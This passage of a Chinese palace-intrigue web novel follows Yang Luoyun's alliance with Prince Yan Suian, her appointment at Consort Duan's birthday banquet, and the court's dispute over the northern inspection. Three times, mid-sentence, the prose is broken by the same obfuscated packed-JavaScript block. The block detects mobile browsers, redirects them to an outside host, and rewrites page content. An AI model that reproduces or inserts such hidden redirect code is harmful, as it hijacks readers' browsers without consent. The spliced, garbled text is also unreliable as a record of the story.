玉京城中可以打听到的关于晏邃安的评价委实模糊，说他闲散富贵、不理政事的占大半，但杨洛云从近日岳横波之流对晏邃安的态度，以及他话里话外的部署，总觉得晏邃安不简单。 “杨帮主若愿意合作，与本王成为盟友，本王可将情况详细告知。”晏邃安没有正面回复。 杨洛云垂眸沉思：“如今已然确定二皇子是谋杀爹娘的主使，云岭古道掌控权在木铎手中，光凭我的力量，根本不可能报仇。晏邃安不似明面上那般不堪，且他是皇帝唯一能容许存活于世的弟弟，如若与他合作，报仇胜算会大幅提升。” 晏邃安在帐中坐下，拿出两个茶盏斟满，朝杨洛云递过一盏，也不催促，静静等待少女的答案。 “我想听听殿下对于合作的诚意。”心中打定主意，杨洛云缓缓开口。 晏邃安嘴角上扬，对杨洛云的答案有了几分把握。 “据本王所知，老二如今在全城搜寻杨帮主的踪迹。本王可以帮杨帮主解决在玉京城的身份问题，如若还有其他需求，杨帮主可以补充。”晏邃安从善如流。 杨洛云理理袖口，向账外的景和要来纸笔，在晏邃安似笑非笑的注视下，不紧不慢提笔写字。 一盏茶后，她满意地收笔，准备递给晏邃安时，想起什么，伸向半空的手又生生收回，在最上面快速补充一行内容。 待她写完，晏邃安接过从头细读： 第零条：双方为平等合作关系，安王今后除去尊称，一律用“我” 第壹条：安王需得保证玉京城和滇南云岭马帮兄弟的安全 第贰条：无论面对什么情况，安王都有帮助杨洛云解决身份的义务 第叁条：合作中出现任何问题，需经双方达成一致后再下决定 第肆条：合作终止期限暂定为杨洛云报仇后，如若调整，需双方达成共识 第伍条：暂空，后续随时进行补充 六行字工整明了，除了汉文，又用滇南语翻译一遍，最下方签着杨洛云的名字。 晏邃安眉眼舒展，提笔蘸墨，对杨洛云道：“杨帮主这些要求我无异议，只是不知我若有需求，杨帮主可会同意？” “能力范围内，合作义务下，没有不同意的理由。”杨洛云答得干脆。 闻言，晏邃安落笔签名。二人又分别盖上指印，合作协约达成。 “现在殿下能与我细说您的计划了吗？”杨洛云有些迫不及待。 “我与老二不对付，是因太子之故。皇后曾照拂过我，她已过世，助太子就是我报恩之举。老二想要太子之位，我必然要阻止。” 杨洛云点头，滴水之恩涌泉相报是应该的。 “我会先将你的身份处理好，只不过，你需得去我府上几日。再过一月是端妃生辰，皇兄会照例举办家宴。届时你随我一起进宫，在皇兄面前留下新的身份，老二就算认出你，也不能轻易下手。” “新的身份？”杨洛云狐疑。 “逐风好转，神威营有目共睹，这样的能力不值得一个新身份吗？” “不知殿下又需要我做什么呢？”杨洛云不傻，合作讲求的是双方互利共赢，给她一个新的身份，就意味着她也需要用这个身份为晏邃安办事。 “端妃是将门之女，她管理着宫廷的禁卫，是唯一可佩剑面圣的妃子。我想请杨帮主替我接近她，借机寻找线索。” 关于何事的线索晏邃安没有言明，杨洛云知道，当务之急是先与端妃搞好关系，后续无论晏邃安要做什么，才有达成的可能。 “殿下日后可以直接唤我云川，如今以此名示人更方便些。” 晏邃安笑着点头，他发现杨洛云于称呼方面格外在意。为掩饰身份，他本就想寻个由头与她说明，见她主动提及，晏邃安自然欣然应允。 “最后一个问题，我不知当讲不当讲。” 晏邃安好笑，拿起纸张抖一抖：“云川都已经和我立下这有些霸道的合作协议书了，还有什么问题是你不敢问的？” 杨洛云没有玩笑的意思，她神色肃穆：“殿下将来有无称帝的打算？” 虽然晏邃安表示，自己因皇后之恩而全力协助太子。可权力二字何其诱人，如若将来太子无能或者发生其他事情让晏邃安动了念头，一切尚未可知。 “权力在握即可。虚名累人，我可不愿像皇兄那样对着一堆折子干生气。”晏邃安语气轻松，继续补充：“更何况，并不是只有那个位置才能拥有想要的权力。” 杨洛云没有否认，她对此事的看法和晏邃安一样。未来之事交由时间，眼下做好该做的才是要紧事。 二人商定完毕，各自分头行动。 白露当天知晓杨洛云和晏邃安合作后，于深夜敲开了杨洛云的房门。 “阿云，晏邃安此人深不可测，与她合作需多多谨慎。”白露满脸担忧。她来到京城后，一直在药材铺和医馆往来，听过许多晏邃安的事迹。 “我知晓的。”杨洛云握住白露的手，安抚地轻拍。自失去父母后，她格外留恋亲近之人的关心。 “不行，我还是多配些防身之药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276328|182435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你。若你有空，抓紧来和我学学医理，玉京形势复杂，多备着些本领总是不错的。” 白露所言在理，杨洛云没有拒绝。 接下来一个月，杨洛云上午在玉京城里四处探听有关端妃的事宜，下午就去神威营继续驯导逐风，晚上回到宅子就去和白露精进医术，日子过得充实精彩。 玉京城太子府书房。 太子晏映南正伏案描绘着一幅将军征战图，太子妃苏念端着一碗羹汤轻手轻脚走近。 “殿下，您已经连续画了几个时辰，先歇歇喝碗汤吧。” 太子闻言，顺从地放下笔，抬手接过，一饮而尽。 “念儿辛苦，只是三日后便是端妃娘娘生辰，孤需尽早将贺礼画完。” “端妃娘娘的其他贺礼已经备妥，图画要紧，身体更要紧。”太子妃温声劝。 太子随着太子妃走出书房，门口候着的仆从躬身禀报：“太子殿下，丞相大人请您一叙。” 太子先将太子妃送回屋，转身跟着仆从来到会客厅。 苏丞相见太子进来，直接开口：“老臣已与几位大人谈妥，三日后的宫宴，殿下只管放心向陛下说明前往北境一事。” “岳父大人辛苦，若不是有您帮忙，孤恐怕还需多费些力气。”太子抬手请苏丞相上座，又将下人悉数屏退。 “孤如今担心的，是家宴之上二弟会阻挠此事。”太子抬手揉揉太阳穴，语气里透着疲惫。 他生性仁厚，时常将百姓放在心上。月前听闻北境战事紧张，便有前往视察民情的想法。二皇子向来与他不对付，太子担心他会有所动作。 “二殿下心胸狭隘，阻挠之举更会丧失人心。太子殿下不必忧虑，您向陛下将具体计划禀明，老臣以为，此事十之八九能成。”苏丞相一副胸有成竹的模样。 “二弟一直因颐妃娘娘之事对孤心存芥蒂，每每见他满目仇恨的眼神，孤总是对他心怀愧疚。” 苏丞相抬手在太子肩上拍着，目光变得悠远：“当年之事本就是颐妃之错，若不是她蓄意谋害太子殿下，皇后娘娘又怎会将她处死。” “可当年之事并非颐妃娘娘之过。二弟那时尚且年幼，这些年一路走来也实在不易。” “太子殿下，对敌人心存仁慈，就是对自己最大的残忍。”苏丞相语气猛然严厉，“当初皇后娘娘之所以将念儿指婚于您，便是觉得您心肠太软，需要老臣时时在旁提醒。有一颗菩萨心肠是高位者难能可贵的品质，但如若没有雷霆手段，菩萨心肠只会害了您！” 苏丞相的话让太子浑身一震，他连忙起身赔礼：“岳父大人息怒。” 看着他的模样，苏丞相叹道：“不论当年之事究竟如何，颐妃和皇后娘娘都已经过世，眼下您最该做的，是把握住机遇，一步步成长为合格的君王。” 送走苏丞相，太子独自在院中静立，抬头望着天空中的明月，他喃喃自语：“母后，儿子真的能够成为一位明君吗？” 月光将他的影子拉长，许久许久，太子才转身回屋。 三日转瞬即逝，端妃的生辰家宴到来…… 15. 家宴锋芒 玉京皇城，天伦殿内。 碧波池倒映着星星点点的光影，梁柱周身缠绕着繁复纹样，仙鹤宫灯高悬，莹莹烛光照得大殿藻井的金龙鳞爪欲动，也照亮殿中一众人的华丽礼服。 杨洛云立在晏邃安身侧，抬眸偷偷打量着上座皇家之人。 御座之上，皇帝一身明黄龙袍，正襟危坐，满脸笑意，四十有二的面容不见丝毫岁月留下的痕迹。 御座左右各设贵席，两名打扮相差甚大的明丽女子端坐其上。 左侧女子剑眉凤目，打扮干脆利落，腰间稳稳插着两把短剑，她的案前摆满各式荤菜，目光正在一根牛骨和一只鸡腿间徘徊。“能在陛下面前佩剑，是端妃周岚无疑。”杨洛云脑中默默将这探听到的所有端妃相关信息飞快过一遍，接着转头看向右侧。 御座右侧女子眉眼温婉，衣袍颜色稍显素雅，腕上系着一个小巧的布包，看上去与白露收纳银针的皮革针包相似。她手中拿着一本医书，正对照着记载将面前的吃食一一分类。 “惠妃李浈你可有了解？”晏邃安瞟一眼右侧女子，低声问身侧之人。 杨洛云亦压低声音回答：“醉心医术，尤爱研究药膳烹饪。为人随和，父亲是太医署前太医令。” 晏邃安点点头，正欲补充什么，殿外太监高声道：“太后娘娘到。” 殿内众人纷纷起身行礼。 “嬷嬷先前差人禀报，说母后身体不适就不过来了。您现在感觉如何？”皇帝从御座起身，快步上前搀扶着太后。 太后高潋满眼慈祥地看着皇帝，边走边开口：“哀家只是有些不耐暑，现下好多了。年近花甲的人，这点毛病也是正常。” 皇帝扶着高太后坐到原本惠妃的位置上。李浈在太后进殿之后就识趣地开始挪位置，今日是端妃生辰，她自当主动给太后让位。临走还不忘交代帮忙搬案几的宫女，将先前分好类的吃食也一起端过来。 高太后坐定，抬头扫视殿中一干人等，目光落在晏邃安身后时停了停，随即若无其事转开。 “皇妹称最近腿疼得厉害，今日家宴就不来了。”皇帝在一旁笑着解释。 “嗯。”高太后闻言，淡淡应声表示知晓。 端慧公主是高太后二十七岁时得的幼女，但她性子跳脱，幼时顽劣，意外坠马导致跛足，至今未嫁。高太后对端慧公主较为冷淡，皇帝从小看在眼里，心中便更加偏疼自己这个妹妹。 见时辰差不多了，皇帝率先举杯，声音沉稳有力：“今日此宴，非为君臣之礼，乃是家宴之欢。” 他向高太后敬酒毕，转向端妃，语气转暖：“朕素知爱妃不喜繁文缛节，更厌矫揉造作。今日既是你的生辰，就依你性子，饮最烈的酒！” 端妃将杯中佳酿一饮而尽，豪爽应道：“谢陛下！” 有皇帝起头，接下来便是皇子公主。 “儿臣恭贺端妃娘娘芳辰！”太子微微躬身，目光落在端妃下首，恭敬地不曾直视。 太子妃将太子亲笔所绘的画呈给端妃的侍女，太子随之端起酒杯：“谨以此酒，恭祝娘娘福寿康宁，芳华永驻！” 端妃颔首，饮尽酒后就忙不迭展开画，看完赞叹：“本宫喜欢这幅征战图！太子有心了。” 二皇子随后起身，姿态较太子少几分拘谨，多几分少年意气，脸上带着温煦笑意：“儿臣恭贺娘娘芳诞之喜！” 他举杯，目光真诚，语气轻快：“去年秋猎，儿臣马术不精、险些坠鞍，多亏您一声喝令，吓得儿臣赶紧坐直。那一嗓门，可比先生的劫持有用多了！” 皇帝轻咳几声，二皇子立刻止住，回归正题：“儿臣嘴拙，愿娘娘笑骂由心，恣意此生！”说罢饮酒献礼。 “晦明说得对，大家都要笑骂由心，恣意而活。”端妃被二皇子的祝词取悦，笑着从碗里夹起一大块肉，走到惠妃身边，放进她的碗里。 “姐姐就是太瘦了，管理后宫需要良好的体力，一定得把这肉吃完。” 惠妃先是蹙蹙眉，这块肉超出她今日健康养身膳食的范围，但听罢端妃的话，还是欣然接受，夹起入口。 皇帝看着自己两位妃子一片和睦的景象，欣慰点头。又想起什么，他看向虚空，脸上多了些黯然，在心底喃喃：“皇后，你在天上亦要笑骂由心，等朕将这边事宜打点清楚，就来找你。” 接下来是皇后之女欣兰公主祝寿。她已经出嫁，驸马是礼部尚书之子。皇帝看着她与妻子几分相似的眉眼仪态，有些回不过神。 皇后幼子夭折于几年前百越的贡品，皇帝一怒之下派晏邃安出征，这才有了百越一战。 看着殿上的祝寿，杨洛云在心中对皇室人印象更加清晰：太子明显敦厚老实，礼仪教养刻在骨子里；二皇子极擅察言观色，知晓如何说话能最大程度取悦他人；皇帝后宫祥和，对二妃都敬重有加，可始终只有皇后入了他的心。 酒过三巡，皇帝似才记起晏邃安，他遥遥举杯：“镇渊，朕听闻你先前旧疾复发，如今可有痊愈？” 镇渊是晏邃安的字，他慌忙起身，全身上下都写满恭敬：“臣弟已无恙。” 皇帝挑眉，状似不经意间瞧见杨洛云：“诶，镇渊今日怎还带了位姑娘？往常都只见你孤身一人，莫不是心上人？” 杨洛云默默翻个白眼：皇帝分明早就看到了她，现在这副故作惊讶的模样，真是惹人厌烦！ “非也。”晏邃安仍是恭恭敬敬回禀：“不知陛下可记得臣弟的逐风？正是因为这位姑娘，逐风近日已然大好。” 这话让埋头啃骨头的端妃突然抬眸，眼中满是不可置信。 皇帝面上也闪过瞬间的惊讶，看向身侧的太监总管。太监总管上前在皇帝耳边说了什么，皇帝点头，朝杨洛云问道：“你是何人，竟有如此本事？” 杨洛云学着晏邃安的模样，躬身回禀：“草民杨云川，懂得些许相马、驯马本事，前些时日得安王殿下青睐，才有幸接近逐风将军。” 从战场回来后，晏邃安不仅为将士请封，连一起归来的战马一并请皇帝封了职务。 “你是哪里人？之前镇渊在玉京遍寻驯马师，未见你的身影呀。” 杨洛云暗自佩服皇帝的记忆力，嘴上答道：“草民来自滇南。” 滇南二字一出口，杨洛云便觉两道视线直直朝她看来：一道是高位上的太后，另一道是正在盯着太子一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276329|182435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举一动的二皇子。 “原是滇南啊。逐风将军有所好转，你功不可没，有何想要的，朕赏赐给你。” “陛下，臣弟斗胆替杨云川求一个官职。”晏邃安插话道。 皇帝哈哈一笑：“镇渊这爱给人请封的习惯真是一点没变，既如此，朕予你巡马御史之职，可巡查天下马场，为我昭华国选拔良驹如何？” 杨洛云一震，她没想到晏邃安说的新身份会是这样的官职。 “臣，谢陛下恩典。” 端妃插话：“陛下，臣妾先前也是看过逐风将军的，实在好奇云川姑娘如何将其治好，可否准许她入宫来，也好让臣妾学习学习。” “既然爱妃开口，朕自然答应。”皇帝拍拍端妃的手，朝杨洛云道：“驯马御史，朕特许你出入皇宫为端妃解惑。” 杨洛云再次谢恩。 一旁的二皇子攥紧拳头，先前他的注意一直放在太子身上，如今认出了杨洛云的身份，他分外恼火。万万没想到，她竟然被安王带进宫请了官职。 “父皇。”见杨洛云一事毕，太子走到殿中，躬身行礼。 二皇子瞬间回神，他也一步跨到太子身侧。 两个儿子同时有事，皇帝直觉定不简单，他低头整理好龙袍，缓缓开口：“何事？” “父皇，儿臣听闻北境现下战事紧张，想请您恩准前往视察民情。”二皇子抢在太子出声前一口气说完。 看着二皇子眼底的得意和太子欲言又止的神色，又想起今日早朝几位大臣写的奏折，皇帝还有什么不明白，他呼出一口气：“此事容朕考虑后再做决定。” 两位皇子被打发回座位。太子脸上有着明显的失落：自己总是比二弟慢一步，岳父和其他几位大臣费尽心思为他争取的机会，看父皇的意思，恐怕是要给二弟了。 二皇子则是掩不住的嘲讽：父皇每次都偏疼太子，儿时明明是自己的功课满分，父皇却欢喜地告诉一众大臣，太子功课为头筹；几年前的玉门关大捷分明是自己指挥，父皇却眼也不眨地将军功归给太子。这次去北境，看父皇的意思，多半又是给太子。 二皇子越想越生气，北境一事悬而未决，但自己估计又没戏；杨洛云有了新的身份，拿到那半块玉符只会难上加难。他捏碎了手中的瓷碗，清脆的声响被宫乐声掩盖。 杨洛云往晏邃安身后藏了藏，她始终觉得，自知晓自己是滇南之人，太后的目光就时不时落在她的身上。 晏邃安不知她是何意，但也敏锐地注意到太后的视线。他直起身，从袖中掏出宽大的折扇，咔嚓一声展开，挡去杨洛云打扮身影。 太子妃饶有兴致地看着晏邃安手里这把天大地大的扇子，太子瞧见，凑到晏邃安跟前：“皇叔，您是从何得来的这把扇子，可真有意思！” 晏邃安一副玩世不恭的样子：“当然是自己做的，不知太子可有兴趣，本王也做一把送你。” 太子连忙摇头婉拒，太子妃既然喜欢这样的扇子，自己也可以做。如若让父皇得知他沾上了皇叔闲散玩乐的习性，恐又要惹父皇不喜。 家宴在一派歌舞宴乐中结束，赴北境体察一事却在多人心中留下了思量。 16. 马策岚心 杨洛云随着晏邃安回到安王府。她三日前就已经住到安王府的客房中，二皇子暗地里加大了寻找她下落的力度，整个玉京城只有安王府相对安全。 “殿下，我既已封巡马御史之职，是否应当搬出去住？”杨洛云开口询问，她有了新的身份，二皇子暂时不会轻举妄动。 但想到今晚太后时不时落在她身上的视线，杨洛云又有些犹豫。原先在玉京城租赁的住处现下有马帮五人，若她搬回去，难免会连累他们一起被盯上。 “陛下没有特意提及你的住处，若是不嫌弃，便还是先住在我府上吧，等寻到合适的落脚处你再搬过去？”晏邃安用商量的语气反问。 杨洛云点头。她看着晏邃安离开的身影，脑海中又浮现这些天她去他院子时看见的景象——只要是白日，晏邃安的屋子里总有些昏暗。她留意过门窗上覆着的遮光帘幕，细密的针脚足以将射入室内的阳光拦截。 思及在神威营马场时，晏邃安戴着的黑纱斗笠，杨洛云自语：“难不成，他畏光？” 这样的念头很快被她否决，今日皇宫宴会上的光可谓十分敞亮，晏邃安也不曾流露出异样。 想不明白，杨洛云便把这个疑惑丢在一边，她与他只是合作盟友的关系，他的事她没有全部知晓的必要，把握住合作的分寸才是长期共赢的基础。 翌日，杨洛云独自进宫。应端妃的邀请，她将驯导逐风和随云时记录的册子也带在身上，随着宫婢走在去往后宫的宫道上。 “见过惠妃娘娘。”领路婢女朝迎面而来的女子行礼。 杨洛云看过去，与昨日宫宴上的打扮不同，今日的惠妃直接穿着太医院女医侍的服装，头上没有任何朱钗，只戴着统一样式的宫帽。 杨洛云跟着婢女行礼，李浈看过来，目光凝在杨洛云腰间的小药囊上便移不开了。 药囊是白露叮嘱杨洛云戴着的，昨日宫宴离得远，李浈未曾看见。 “杨巡使，可否把这药囊借本宫看看？”李浈语气里满是期待。 杨洛云取下，双手递上前。 李浈拿在手里仔细端详，满眼都是喜欢。 “若惠妃娘娘喜欢，便赠予娘娘。”杨洛云轻声说，她和白露学会配制药囊后，命人采购来许多药材，她回去再做一个就是。 “不必了，本宫不喜夺人所爱。”李浈又打量片刻，将药囊还给杨洛云。 “今日是端妃妹妹找你吧，快去，莫耽误了时辰。” 来到端妃的锦铠园，杨洛云被所见惊住：到处都是摆放武器的架子，正中心是一个缩小版的演武场，长鞭、弓箭、长枪、短剑、铁锤应有尽有。 这根本不像后宫嫔妃的住处，更像是武将之家。 “陛下从不拘着我和惠妃姐姐做自己喜欢之事，我们也知晓，他心里只有皇后一人。”苏岚一身红装，放下手中的飞镖，向杨洛云走来。 “端妃娘娘。”杨洛云行礼。 “云川是吧？你唤我周岚就是。”端妃转身，头顶高高束起的长发随着她的动作在空中划出一个弧度。 “我和惠妃姐姐比陛下年轻十几岁，本就是为家族进宫，不谈别的，这天天在宫里的日子也实在烦闷。”周岚领着杨洛云往殿内走。 殿内陈设依旧张扬着她的个性，昨日太子送的征战图被挂在会客厅的墙上，杨洛云瞄一眼，低下头。 “对了，今日叫你来就是想问问，安王的逐风你究竟是以何种办法使其好转的？”周岚回归正题，眼睛里的好奇几乎快溢出来。 杨洛云将小册子双手递给周岚，把自己如何观察、有何发现、采取何种方式一一说明。待她说完，周岚已经迫不及待：“走，本宫想去看看逐风！” 见已近正午，周岚和杨洛云用过午膳后才出发。 日头炙烤着大地，周岚丝毫没有受到影响，她浑身都散发着愉悦的光，看得身后宫女偷偷抹抹眼角。 “娘娘只有出宫时才会露出这样的神情。”宫女压低声音对杨洛云说。 “端妃娘娘多久可以出宫？”杨洛云问，她探听一个月的消息，从来没有人提过端妃出过宫。 “娘娘除去每年陪陛下狩猎时可以出宫，上次独自出宫还是几年前安王大胜归来的时候。” 周岚听见二人的对话，毫不在意地笑：“上次出宫是安王请我去看逐风，我母族平日看我看得紧，难得有机会出去。” 皇帝始终没有立后，端妃和惠妃的母族对后位的竞争看得很是紧，二妃时常受到家族监视，在宫里的日子并没有想象中那么顺遂。 周岚昨日提前向皇帝讨了出宫的准许，这一路走来都十分顺利。 坐上马车，周岚迫不及待掀开帘子往外瞧，看着她珍惜一分一秒宫外景致的模样，杨洛云有些心酸。 自来到玉京城，杨洛云确实没有好好欣赏过街上的烟火气，她同周岚一道看着窗外，余光不时观察着周岚的表情。晏邃安给她的合作任务要更进一步，最好的办法就是直接了解端妃的喜好。杨洛云将周岚看不同事物的神情记下来，把打听到的信息与之比对，留下有用的部分。 马车行至神威营时，杨洛云已经大致筛选出周岚的几样喜好之物，准备下次进宫时带给她。 “岚姑姑！”岳横波从军营中迎出来，直直拥抱住周岚。 看着杨洛云有些诧异的眼神，岳横波解释：“我们镇北侯府和周将军家是世交，按照老一辈的交情排下来，端妃娘娘就是我的姑姑。” “横波和云川看起来相处得不错。”看着自己这个小不了几岁的侄女破天荒主动给人解释，周岚忍不住开口。 “哼，我是看在殿下和逐风的面子上才和她好呢。” 杨洛云看着口是心非的岳横波，唇角弯起，没有应声。 几人来到马场。逐风正在低头喝水，见杨洛云过来，它欢快地靠近，用头蹭着杨洛云的手。 “这个动作逐风只对安王做过！”周岚在一旁感叹。 第一眼见逐风，周岚差点没有认出来。她看着几年前骨瘦嶙峋、暴躁发狂的逐风如今安静温柔地蹭着杨洛云，心中被欢喜不断胀满。 习武之人和马帮人一样，对马有着不同常人的情感。 “今早听你讲述，我还觉得有些玄幻，现下见到它，才真切体会到安王替你请官职的心情。换作是我，也非要好好答谢你才是。”周岚发自内心地对杨洛云说。 杨洛云摸摸逐风的脑袋，掏出一根胡萝卜喂它： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276330|182435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “逐风是很通人性的良驹，我在滇南打交道的马不少，很少能够遇到如它一般的马。” “那可不！逐风在战场还救过安王的命呢！”岳横波在一旁补充。 杨洛云的手一顿，难怪晏邃安对它如此在意。 “滇南的马与玉京城的马有何区别？”杨洛云的话吸引了周岚的注意。 “滇马体型较小，性格更温顺，耐力更好。” “云川能否将滇马带来玉京？” 杨洛云不知端妃的用意，她谨慎地开口：“玉京城有固定的商队来往，把滇马带来不是难事。” “我在想，若能试着将滇马与玉京城的马结合，取二者的优点，培育出的小马驹是否会更为出色？” 杨洛云想过改良军马的可能，她与晏邃安提起时，晏邃安却说有比他更合适做这件事之人。 周岚统领宫中禁卫，杨洛云没有想到，晏邃安所说那位更适合之人是她。 “娘娘的想法甚好！” “我明日就和陛下讲明此事，都说让你不要叫我娘娘，我喜欢你的性情，不如就随横波唤我岚姑姑？” “姑姑”一词让杨洛云有些出神：“不知姑姑是否还在人世？”想到段清昙至今仍无消息，杨洛云的心揪起来，这么久的时间，段清昙生还的可能微渺，但她始终不愿相信，就这么自欺欺人与光阴耗着。 “云川，怎么，让你喊岚姑姑还不乐意？”见她没反应，岳横波抬手在杨洛云眼前晃了晃。 “岚姑姑。”杨洛云回神，赶忙改口。 在军中留至暮色漫天，周岚才依依不舍地坐上马车。 “云川，你住在何处？不妨送你一程？”周岚掀开帘子邀请。 “她在安王府。”岳横波语气略带不善——自己都很少能去偶像府中，杨洛云却被邀请住在安王府。 杨洛云有些尴尬，她无法和她们解释自己与晏邃安的合作以及二皇子的威胁，只能默默加一句：“安王府客房。” 周岚没有多问，一把把杨洛云拽上马车，朝岳横波挥挥手。 回城路上，周岚很安静，杨洛云挑起车帘：“岚姑姑不再看看傍晚的街景吗？” “多看也只是徒增不舍。” 看着周岚的表情，杨洛云有些难过。 “我时常觉得矛盾，皇宫和身份限制我的自由，可也带给我另一种自由。至少，我能有掌管禁卫、实现心中所想的自由。”周岚低喃。 “在宫里很寂寞吗？” 周岚想到自己的生活，笑道：“寂寞谈不上，我在锦铠园可以舞刀弄枪，禁卫换防和人员安排也够我打发时间，实在闲得慌就去找惠妃姐姐，她侍弄药草，我就在一旁捣乱。” 她能够自洽，杨洛云好受许多。 回到安王府，晏邃安不在府内，杨洛云只好等明日再与他商议下一步计划。 躺在床上，回忆一整日的经历，杨洛云忽然发现，不知从何时起，自己对汉人的看法有了微妙的转变。 “不能把汉人混为一谈。”想起天堑关的官差和二皇子，又想起婧娘母女、景和、岳横波、周岚……杨洛云告诫自己。 至于晏邃安，心思深沉的危险人物还是单独归类比较安全。 17. 视察人选 翌日卯时刚过，玉京城，宣政殿。 一众朝臣交头接耳，他们正在就两位皇子何人更适合去北境视察民情而争执不休。 “太子殿下是储君，体察民情本就更应由太子殿下前往。”苏丞相一党率先开口。 “就是因为太子殿下是储君，北境战乱不断，万一有何闪失，谁人能承担责任？”户部尚书周显出列反驳。 “二皇子处事谨慎，是最佳人选。” “太子殿下能指挥玉门关大捷，北境战事定也不会出错！” “莫忘了二皇子才是玉门关大捷的真正功臣！” “你莫不是质疑陛下的决断？” …… 你一言我一语，宣政殿的房顶似乎都能被这样的喧哗声掀塌。 “陛下驾到。”太监总管尖细的嗓音让大殿内顿时安静。 皇帝一身明黄龙袍，从御座后神情自若地现身。太子和二皇子落后几步，二人神情说不出的复杂。 众大臣深谙察言观色之道，见此情形，心中都有些惴惴不安。 早朝正式开始，百官按惯例将琐事禀明，见时机差不多，苏丞相出列道：“陛下，北境战事紧张，虽有几位藩王率兵力抗，但战场风云变幻，老臣以为，有必要派人亲往查探，既去了解详情，更是抚慰百姓。” “哦？那依苏爱卿之见，该派何人前往呢？”皇帝的声音听不出喜怒，尽管此事三日前就有不少大臣上过折子，可皇帝还是表现出第一次听说的模样。 “一切全凭陛下做主。”苏丞相没有直接说明，毕恭毕敬地将话语权推还给皇帝。 见他这滴水不漏的做法，再看看二皇子低垂的眉眼，皇帝冷笑：“既然如此，那便传安王吧。” 一语激起千层浪，除去太子，其余人均神色大变。 “陛下，安王自百越战场归来，除去必要的庆典场合，从未上过朝，突然传召他进宫，是否过于仓促？” 户部尚书周显犹犹豫豫开口，说出的话连他自己都不忍细想，可若不加以阻挠，他知晓后果自己无法承受。 “无妨，恰巧今日太后诏安王叙话，想必他此刻已经进宫。”皇帝对一旁的太监总管吩咐：“派人告知母后，安王先来宣政殿。” 看着太监总管远去的身影，晏晦明陷入沉思。 今日早朝前，皇帝特意将他与太子一同召进寝殿，他便知皇帝对北境视察人选有了决断。可皇帝派遣他前往江南调查水患之事后，未曾给太子指派任务，只将玉京城外流民安置造册事宜交代。本以为皇帝会在大殿宣布太子视察，可现在居然传唤了许久不参加早朝的安王。 太子自始至终明白，皇帝家宴那晚没有直接宣布视察人选，便是对自己和二皇子都不满意。既然如此，如今传召何人就都不意外了。 晏邃安目不斜视走进宣政殿，他多年不参加早朝，但早朝的消息却知晓得十之八九。朝着苏丞相所在方向微微颔首后，晏邃安弯腰行礼：“微臣参见陛下。” “北境战事不断，朕忧心百姓，特派你前往视察，另着巡马御史一并前去查探战马情况。”皇帝直接下令，丝毫没有留给朝臣劝说的余地。 “臣，遵旨。”晏邃安没有任何情绪，恭敬行礼站在一旁。 早朝在后续长久静默的诡异气氛中结束，晏邃安没有理会身后大臣的目光，径直赶往太后宫中。 “听说皇帝将北境的差事给了你？”太后高潋倚在榻上，遥遥眯眼，盯着手握一卷明黄的晏邃安。 “是。” “既然如此，那就好好做事，尽力为你皇兄分忧。”高潋语气转而温柔下来：“那日家宴你带进宫的滇南姑娘，不对，现在该叫巡马御史，哀家很喜欢，改日叫她来宫里坐坐。” “陛下特命巡马御史随臣一同前往，恐怕只能等回京后再进宫拜见母后。”先前在宴席上，太后频频打量杨洛云就令人起疑，现下又特意提起，晏邃安直觉，太后一定没安好心。 “也罢，差事要紧。”高潋从榻上起身，缓缓踱步至窗边，猛地推开窗户。 正午刺眼的阳光直直穿透进来，毫不客气地照在晏邃安身上，将他笔直站立的影子拉长。 高潋靠近晏邃安，从上至下一寸寸仔细观察他的反应。 许久，高潋脸上的兴致散去，随意地道：“哀家乏了，你退下吧。” 晏邃安恭敬地行礼出宫，直至坐上马车后，笔直的脊背才猛然垮下来。 “娘娘，安王一路并无异样。”宫女目送马车走远，回宫禀报。 这些年高潋有意无意试探，都没有发现晏邃安的异样，难道当年那个偷偷跑走的背影，真的不是他吗？ “或许，是哀家多心了。”高潋长舒口气，点燃一盏长明灯，神色飘忽不定。 前脚得知晏邃安已经回府，杨洛云后脚便来找他。 刚跨进院门，就见展锋送着一位医士打扮的人离开。 晏邃安没有如之前一样在书房等她，而是让她进了他的寝室。 “端妃那边已经有所进展，不知道殿下想要探查的消息是什么？”杨洛云刚一进门，眼睛对室内陡然昏暗的景象有些不适。 待习惯这样的光亮，杨洛云才看清晏邃安的状况：他半坐在床榻上，脸色苍白得过分，整个人就像才从水里捞出来一样。 她识趣地没有多问，静静等待回答。 “我想知晓的，端妃目前还不会透露。”晏邃安揉揉太阳穴，满脸疲惫。 “殿下这样故弄玄虚，我很不喜欢。我们云岭十八骑从来都是有什么说什么，藏着掖着最容易产生误会！”杨洛云叉着腰，语气透着不悦。 